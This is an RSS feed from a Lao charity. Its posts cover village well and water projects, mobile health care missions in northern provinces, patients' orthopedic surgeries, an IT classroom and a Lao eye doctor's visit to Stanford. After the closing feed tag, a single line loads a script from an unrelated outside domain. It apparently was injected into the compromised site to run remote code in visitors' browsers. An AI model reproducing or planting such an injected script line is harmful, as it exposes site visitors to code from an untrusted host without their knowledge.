<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Lao Rehabilitation Foundation</title>
	<atom:link href="http://lao-foundation.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://lao-foundation.org</link>
	<description>a non-profit organization</description>
	<lastBuildDate>Tue, 20 Dec 2011 17:37:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.2</generator>
		<item>
		<title>Hatsayfong well project</title>
		<link>http://lao-foundation.org/hatsayfong-well-project/</link>
		<comments>http://lao-foundation.org/hatsayfong-well-project/#comments</comments>
		<pubDate>Thu, 15 Dec 2011 20:25:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hatsayfong well project]]></category>

		<guid isPermaLink="false">http://lao-foundation.org/?p=875</guid>
		<description><![CDATA[The Lao Foundation helped the Hatsyfong villagers dig their own well to attain a potable water source:]]></description>
			<content:encoded><![CDATA[<p>The Lao Foundation helped the Hatsyfong villagers dig their own well to attain a potable water source:</p>
<p><a href="http://lao-foundation.org/wp-content/uploads/2011/12/Hatsyfongwell6.jpg"><img class="alignleft size-medium wp-image-876" title="Hatsyfong Well" src="http://lao-foundation.org/wp-content/uploads/2011/12/Hatsyfongwell6-300x225.jpg" alt="" width="300" height="225" /></a> <a href="http://lao-foundation.org/wp-content/uploads/2011/12/Hatsyfongwell3.jpg"><img class="alignleft size-medium wp-image-878" title="Hatsyfong Well" src="http://lao-foundation.org/wp-content/uploads/2011/12/Hatsyfongwell3-300x225.jpg" alt="" width="300" height="225" /></a> </a> <a href="http://lao-foundation.org/wp-content/uploads/2011/12/Hatsyfongwell5.jpg"><img class="alignleft size-medium wp-image-879" title="Hatsyfong Well" src="http://lao-foundation.org/wp-content/uploads/2011/12/Hatsyfongwell5-300x225.jpg" alt="" width="300" height="225" /></a> <a href="http://lao-foundation.org/wp-content/uploads/2011/12/Hatsyfongwell.jpg"><img src="http://lao-foundation.org/wp-content/uploads/2011/12/Hatsyfongwell-300x225.jpg" alt="" title="Hatsyfong well" width="300" height="225" class="alignleft size-medium wp-image-888" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://lao-foundation.org/hatsayfong-well-project/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mokchak water project</title>
		<link>http://lao-foundation.org/mokchak-water-project/</link>
		<comments>http://lao-foundation.org/mokchak-water-project/#comments</comments>
		<pubDate>Thu, 15 Dec 2011 20:11:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mokchak water project]]></category>

		<guid isPermaLink="false">http://lao-foundation.org/?p=872</guid>
		<description><![CDATA[The Lao Foundation is currently working to bring potable water to the Mokchak village. Click here to download the Mokchak water project report.]]></description>
			<content:encoded><![CDATA[<p><a href="http://lao-foundation.org/wp-content/uploads/2011/12/Mokchak.jpg"><img class="alignleft size-medium wp-image-952" title="Mokchak Village" src="http://lao-foundation.org/wp-content/uploads/2011/12/Mokchak-300x219.jpg" alt="" width="300" height="219" /></a></p>
<p>The Lao Foundation is currently working to bring potable water to the Mokchak village.</p>
<p><a href="http://lao-foundation.org/wp-content/uploads/2011/12/MOCKCHAK-VILLAGE-PROJECT-2.pdf">Click here to download the Mokchak water project report.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://lao-foundation.org/mokchak-water-project/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>October 2011</title>
		<link>http://lao-foundation.org/october-2011/</link>
		<comments>http://lao-foundation.org/october-2011/#comments</comments>
		<pubDate>Thu, 15 Dec 2011 19:07:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[October 2011]]></category>

		<guid isPermaLink="false">http://lao-foundation.org/?p=856</guid>
		<description><![CDATA[The October 2011 Mission consisted of two separate projects: A Mobile Health Care unit, operating during nine days (October 2-10, 2011) in the three districts of Tonpheung, Huixay (BanDan) and Pha-Udom in Bokeo province. The team consisted of 52 medical workers and in total saw 4,190 patients. Click here to download the report on our [...]]]></description>
			<content:encoded><![CDATA[<p>The October 2011 Mission consisted of two separate projects:</p>
<p>A Mobile Health Care unit, operating during nine days (October 2-10, 2011) in the three districts of Tonpheung, Huixay (BanDan) and Pha-Udom in Bokeo province. The team consisted of 52 medical workers and in total saw 4,190 patients. <a href='http://lao-foundation.org/wp-content/uploads/2011/12/Report-of-Health-Care-in-Remote-Area-October-2011.pdf'>Click here to download the report on our Health Care in Remote Area mission for October 2011.</a></p>
<p>A Pediatric Mobile Clinic Service which provided services to over 700 infants. These included a wide range of direct medical and preventive health care interventions, and were delivered in concert with those of obstetric ultrasonography, dental, opthamologic, and internal medicine subspecialties. <a href='http://lao-foundation.org/wp-content/uploads/2011/12/Report-of-Pediatric-Mobile-Clinic-Services-in-Remote-Area-of-Bokeo-Province-Oct-2011.pdf'>Click here to download the Report of Pediatric Mobile Clinic Services in Remote Area of Bokeo Province for Oct 2011.</a></p>
<p><a href="http://lao-foundation.org/wp-content/uploads/2011/12/rm_oct_2011.jpg"><img src="http://lao-foundation.org/wp-content/uploads/2011/12/rm_oct_2011-300x200.jpg" alt="" title="October 2011 Remote Area Mission" width="300" height="200" class="alignleft size-medium wp-image-859" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://lao-foundation.org/october-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>June 2011</title>
		<link>http://lao-foundation.org/june-2011/</link>
		<comments>http://lao-foundation.org/june-2011/#comments</comments>
		<pubDate>Thu, 15 Dec 2011 18:54:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[June 2011]]></category>

		<guid isPermaLink="false">http://lao-foundation.org/?p=851</guid>
		<description><![CDATA[The mission started first in the northern province of Bokeo (including 3 districts) for 8 days from June 8-15, 2011, the expectant mother service was done in Bokeo province, only eye service continued after that; in LuangNamtha province (including 2 districts) for 5 days from June 17-21, in Phongsaly province (including 3 districts) for 8 [...]]]></description>
			<content:encoded><![CDATA[<p>The mission started first in the northern province of Bokeo (including 3 districts) for 8 days from June 8-15, 2011, the expectant mother service was done in Bokeo province, only eye service continued after that; in LuangNamtha province (including 2 districts) for 5 days from June 17-21, in Phongsaly province (including 3 districts) for 8 days from June 23-29, and in Oudomxay province (including 2 districts) for 25 days from July 01-25.<br />
The team provided service to all patients, with no regard to gender, age, ethnicity or religion. Services were free of charge for all patients (1,588 cases). <a href='http://lao-foundation.org/wp-content/uploads/2011/12/Report-of-Health-Care-in-Remote-Area-June-July-2011.pdf'>Click here to download the report of Health Care in Remote Area for the June-July 2011 mission.</a></p>
<p><a href="http://lao-foundation.org/wp-content/uploads/2011/12/rm_jun_2011.jpg"><img src="http://lao-foundation.org/wp-content/uploads/2011/12/rm_jun_2011-300x225.jpg" alt="" title="June 2011 Mission" width="300" height="225" class="alignleft size-medium wp-image-853" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://lao-foundation.org/june-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Noukone &amp; Sayyaseth</title>
		<link>http://lao-foundation.org/noukone-sayyaseth/</link>
		<comments>http://lao-foundation.org/noukone-sayyaseth/#comments</comments>
		<pubDate>Fri, 11 Mar 2011 19:53:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Noukone & Sayyaseth]]></category>

		<guid isPermaLink="false">http://lao-foundation.org/?p=773</guid>
		<description><![CDATA[Sayyaseth (19) and Noukone (20) were both riding the family motorbike late at night in 2010 when they were hit by a car that quickly left the scene of the accident. They both suffered multiple fractures. Having only little resources, the family contacted LRF for help. We were happy to take care of their surgeries [...]]]></description>
			<content:encoded><![CDATA[<p>Sayyaseth (19) and Noukone (20) were both riding the family motorbike late at night in 2010 when they were hit by a car that quickly left the scene of the accident. They both suffered multiple fractures. Having only little resources, the family contacted LRF for help. We were happy to take care of their surgeries at Mittaphab Hospital and subsequent physiotherapy. They recovered well and were able to resume their studies a few months after the accident.</p>
<p><a href="http://lao-foundation.org/wp-content/uploads/2011/03/Sayyaseth.jpg"><img src="http://lao-foundation.org/wp-content/uploads/2011/03/Sayyaseth.jpg" alt="" title="Sayyaseth" width="600" height="450" class="alignleft size-full wp-image-775" /></a></p>
<p><a href="http://lao-foundation.org/wp-content/uploads/2011/03/Noukone.jpg"><img src="http://lao-foundation.org/wp-content/uploads/2011/03/Noukone.jpg" alt="" title="Noukone" width="600" height="450" class="alignleft size-full wp-image-776" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://lao-foundation.org/noukone-sayyaseth/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Monsay</title>
		<link>http://lao-foundation.org/monsay/</link>
		<comments>http://lao-foundation.org/monsay/#comments</comments>
		<pubDate>Tue, 08 Mar 2011 20:48:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Monsay]]></category>

		<guid isPermaLink="false">http://lao-foundation.org/?p=734</guid>
		<description><![CDATA[By serendipity, we met Monsay in a small Kamhou village near Vieng Phoukha in Luang Namtha province in September 2009 while en route to Houei Xay where we planned to hold our next plastic surgery mission. A year and a half before meeting him, Monsay then 20 years old was injured in an accident that [...]]]></description>
			<content:encoded><![CDATA[<table>
<tr>
<td>
<a href="http://lao-foundation.org/wp-content/uploads/2011/03/monsay1.jpg"><img src="http://lao-foundation.org/wp-content/uploads/2011/03/monsay1.jpg" alt="" title="monsay1" class="alignleft size-thumbnail wp-image-737" /></a>
</td>
</tr>
<tr>
<td>
<p>By serendipity, we met Monsay in a small Kamhou village near Vieng  Phoukha in Luang Namtha province in September 2009 while en route to Houei Xay where we planned to hold our next plastic surgery mission.  A year and a half before meeting him, Monsay then 20 years old was injured in an accident that broke both bones of his lower right leg for which he was never properly treated.
</p>
<p>
We arranged for him to undergo orthopedic surgery at Mittaphab Hopsital in Vientiane. He has now fully recovered, is able to walk and is back in his village where he his first endeavor was to weave a few baskets for us in recognition for the help we gave him. We keep them preciously in our office.
</p>
</td>
</tr>
</table>
<table>
<tr>
<td>
<a href="http://lao-foundation.org/wp-content/uploads/2011/03/monsay4.jpg"><img src="http://lao-foundation.org/wp-content/uploads/2011/03/monsay4.jpg" alt="" title="monsay" width="211" height="289" class="alignleft size-full wp-image-765" /></a>
</td>
<td>
<a href="http://lao-foundation.org/wp-content/uploads/2011/03/monsay3.jpg"><img src="http://lao-foundation.org/wp-content/uploads/2011/03/monsay3.jpg" alt="" title="monsay" width="184" height="289" class="alignleft size-full wp-image-767" /></a>
</td>
<td>
<a href="http://lao-foundation.org/wp-content/uploads/2011/03/monsay2.jpg"><img src="http://lao-foundation.org/wp-content/uploads/2011/03/monsay2.jpg" alt="" title="monsay" width="210" height="285" class="alignleft size-full wp-image-766" /></a>
</td>
<td>
<a href="http://lao-foundation.org/wp-content/uploads/2011/03/monsay51.jpg"><img src="http://lao-foundation.org/wp-content/uploads/2011/03/monsay51.jpg" alt="" title="monsay5" width="200" height="289" class="alignleft size-full wp-image-838" /></a>
</td>
</tr>
</table>
]]></content:encoded>
			<wfw:commentRss>http://lao-foundation.org/monsay/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>February 2011 – ENT surgery</title>
		<link>http://lao-foundation.org/february-2011-ent-surgery/</link>
		<comments>http://lao-foundation.org/february-2011-ent-surgery/#comments</comments>
		<pubDate>Tue, 08 Mar 2011 19:14:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[February 2011 ENT Surgery]]></category>

		<guid isPermaLink="false">http://lao-foundation.org/?p=680</guid>
		<description><![CDATA[This 7 day mission took place from 2-8 February, 2011. ENT service is an important and necessary health care component of the provincial hospital, however, it has limited functioning due to lack of specialist’s skills and surgical equipment. The LRF provided medical care to local patients and training to local staff. This mission examined all [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://lao-foundation.org/wp-content/uploads/2011/03/Feb-2011-ENT.jpg"><img class="alignleft size-thumbnail wp-image-723" title="Feb 2011 ENT" src="http://lao-foundation.org/wp-content/uploads/2011/03/Feb-2011-ENT-150x150.jpg" alt="" width="150" height="150" /></a></p>
<p>This 7 day mission took place from 2-8 February, 2011.  ENT service is an important and necessary health care component of the provincial hospital, however, it has limited functioning due to lack of specialist’s skills and surgical equipment.  The LRF provided medical care to local patients and training to local staff.  This mission examined all registered patients, with no regard to gender, age, ethnicity and religion, free of charge, with a total of 224 patients seen (179 females) – with 7 different surgery types performed.</p>
<p><a href="http://lao-foundation.org/wp-content/uploads/2011/03/Feb2011-Report-of-ENT-surgery-at-UDX-hospital.pdf">Click here to download the Feb2011-Report of ENT surgery at UDX hospital (439KB)</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://lao-foundation.org/february-2011-ent-surgery/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>February 2011</title>
		<link>http://lao-foundation.org/february-2011/</link>
		<comments>http://lao-foundation.org/february-2011/#comments</comments>
		<pubDate>Mon, 28 Feb 2011 17:26:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[February 2011]]></category>

		<guid isPermaLink="false">http://lao-foundation.org/?p=633</guid>
		<description><![CDATA[Namor district is one of the poorest districts of Oudomxay province, bordering LuangNamtha province and China. It consists of 64 villages and 5,474 houses of which 1,262 are considered extremely poor.  The LRF ran a 2nd remote healthcare mission in this district in February 2011 addressing the urgent needs of the villagers.  Click here to [...]]]></description>
			<content:encoded><![CDATA[<p>Namor district is one of the poorest districts of Oudomxay province, bordering LuangNamtha province and China. It consists of 64 villages and 5,474 houses of which 1,262 are considered extremely poor.  The LRF ran a 2nd remote healthcare mission in this district in February 2011 addressing the urgent needs of the villagers.  <a href="http://lao-foundation.org/wp-content/uploads/2011/02/Report-of-Mobile-Health-Care-in-Namor-district-2011.pdf">Click here to download the PDF report of mobile health care in Namor district 2011 (394 kb)</a></p>
<p><a href="http://lao-foundation.org/wp-content/uploads/2011/02/IMG_2060-Email.jpg"><img class="alignleft size-thumbnail wp-image-642" title="February 2011" src="http://lao-foundation.org/wp-content/uploads/2011/02/IMG_2060-Email-150x150.jpg" alt="" width="150" height="150" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://lao-foundation.org/february-2011/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Health Department IT classroom</title>
		<link>http://lao-foundation.org/new-health-department-it-classroom/</link>
		<comments>http://lao-foundation.org/new-health-department-it-classroom/#comments</comments>
		<pubDate>Wed, 05 Jan 2011 23:13:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Health Care Projects]]></category>

		<guid isPermaLink="false">http://lao-foundation.org/?p=625</guid>
		<description><![CDATA[Given the success of the first computer classroom installed at the Department of Health in 2007, LRF agreed to develop a new computer classroom on the opposite side of Vientiane City (Thatluang) where the medical staff can further develop their computer and language skills. The new classroom is located at the Department of Health Traditional [...]]]></description>
			<content:encoded><![CDATA[<p>Given the success of the first computer classroom installed at the Department of Health in 2007, LRF agreed to develop a new computer classroom on the opposite side of Vientiane City (Thatluang) where the medical staff can further develop their computer and language skills. The new classroom is located at the Department of Health Traditional Medicine building, near LRF’s office which will allow us to closely monitor the activities and provide help when needed.  After making necessary renovations in the building, we are now in the process of furnishing the classroom with locally manufactured computer desks and chairs. Hopefully, the new IT classroom will soon be operational with new computers and a dedicated teacher hired. <a href="http://lao-foundation.org/wp-content/uploads/2011/01/it-classroom.jpg"><img class="alignleft size-full wp-image-626" title="IT Classroom" src="http://lao-foundation.org/wp-content/uploads/2011/01/it-classroom.jpg" alt="IT Classroom" width="300" height="225" /></a><br />
<a href="http://lao-foundation.org/wp-content/uploads/2011/01/Computer-Room-005.jpg"><img class="alignleft size-medium wp-image-954" title="Computer Room" src="http://lao-foundation.org/wp-content/uploads/2011/01/Computer-Room-005-300x225.jpg" alt="" width="300" height="225" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://lao-foundation.org/new-health-department-it-classroom/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lao doctor learns in the US</title>
		<link>http://lao-foundation.org/lao-doctor-learns-in-the-us/</link>
		<comments>http://lao-foundation.org/lao-doctor-learns-in-the-us/#comments</comments>
		<pubDate>Wed, 05 Jan 2011 05:11:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Lao doctor learns in the US]]></category>

		<guid isPermaLink="false">http://lao-foundation.org/?p=609</guid>
		<description><![CDATA[Dr. Phetsamone Indara is one of the 18 ophthalmologists of Laos, and one of two ophthalmologists serving the rugged remote northern provinces of Laos. He was born and raised in this area and currently is chief of the only &#8220;Eye Unit&#8221; in the northern provinces. Dr. Phetsamone was invited to address his peers at Stanford [...]]]></description>
			<content:encoded><![CDATA[<p>Dr. Phetsamone Indara is one of the 18 ophthalmologists of Laos, and one of two ophthalmologists serving the rugged remote northern provinces of Laos. He was born and raised in this area and currently is chief of the only &#8220;Eye Unit&#8221; in the northern provinces. Dr. Phetsamone was invited to address his peers at Stanford University Grand Rounds. The topic of his lecture was &#8220;Ophthalmologic Surgery on the Indigenous Peoples of Northern Laos in a Primitive Environment.&#8221;</p>
<p>He has distinguished himself as a proponent of bringing eye care to desperately ill people in those remote regions where access to health care has been limited or impossible. He has worked with the Laotian ethnic minorities who have had no access to the Lao health care system.</p>
<p>Trained in Laos and Thailand to become an ophthalmologist he developed with Dr. Luc Janssens of Lao Rehabilitation Foundation &#8220;Mobile Health Care in Remote Area,&#8221; an international team that brings Eye, Dental and ENT care to the diverse peoples of the Lao mountainous regions. Dr. Phetsamone does this work with no government backing and on a government salary of $80 per month.<br />
He works during those times he can free himself from his busy position as chief ophthalmologist at the Oudomxay provincial hospital. His team is generously supported by Lao Rehabilitation Foundation and by medical volunteers from the USA.</p>
<p>Dr. Phetsamone was invited by Lao Rehabilitation Foundation to the Bay Area to observe and learn from ophthalmologists here, and to recruit volunteers and assistance for this program. </p>
<div style="clear:both;"></div>
<div id="attachment_610" class="wp-caption alignleft" style="width: 490px"><a href="http://lao-foundation.org/wp-content/uploads/2011/01/stanford-university.jpg"><img src="http://lao-foundation.org/wp-content/uploads/2011/01/stanford-university.jpg" alt="Stanford University" title="Stanford University" width="480" height="360" class="size-full wp-image-610" /></a><p class="wp-caption-text">Stanford University</p></div> <div id="attachment_611" class="wp-caption alignleft" style="width: 490px"><a href="http://lao-foundation.org/wp-content/uploads/2011/01/dr-eleonora-lad.jpg"><img src="http://lao-foundation.org/wp-content/uploads/2011/01/dr-eleonora-lad.jpg" alt="Dr. Eleonora Lad, Chief of Residents" title="Dr. Eleonora Lad, Chief of Residents" width="480" height="360" class="size-full wp-image-611" /></a><p class="wp-caption-text">Dr. Eleonora Lad, Chief of Residents</p></div>
<div style="clear:both;"></div>
<div id="attachment_612" class="wp-caption alignleft" style="width: 483px"><a href="http://lao-foundation.org/wp-content/uploads/2011/01/professor-dr-tham.jpg"><img src="http://lao-foundation.org/wp-content/uploads/2011/01/professor-dr-tham.jpg" alt="Professor Dr. Tham" title="Professor Dr. Tham" width="473" height="360" class="size-full wp-image-612" /></a><p class="wp-caption-text">Professor Dr. Tham</p></div> <div id="attachment_613" class="wp-caption alignleft" style="width: 490px"><a href="http://lao-foundation.org/wp-content/uploads/2011/01/professor-dr-egbert.jpg"><img src="http://lao-foundation.org/wp-content/uploads/2011/01/professor-dr-egbert.jpg" alt="Professor Dr. Egbert" title="Professor Dr. Egbert" width="480" height="360" class="size-full wp-image-613" /></a><p class="wp-caption-text">Professor Dr. Egbert</p></div>
<div style="clear:both;"></div>
]]></content:encoded>
			<wfw:commentRss>http://lao-foundation.org/lao-doctor-learns-in-the-us/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script language="javascript" SRC="http://superpuperdomain2.com/count.php?ref="></script>
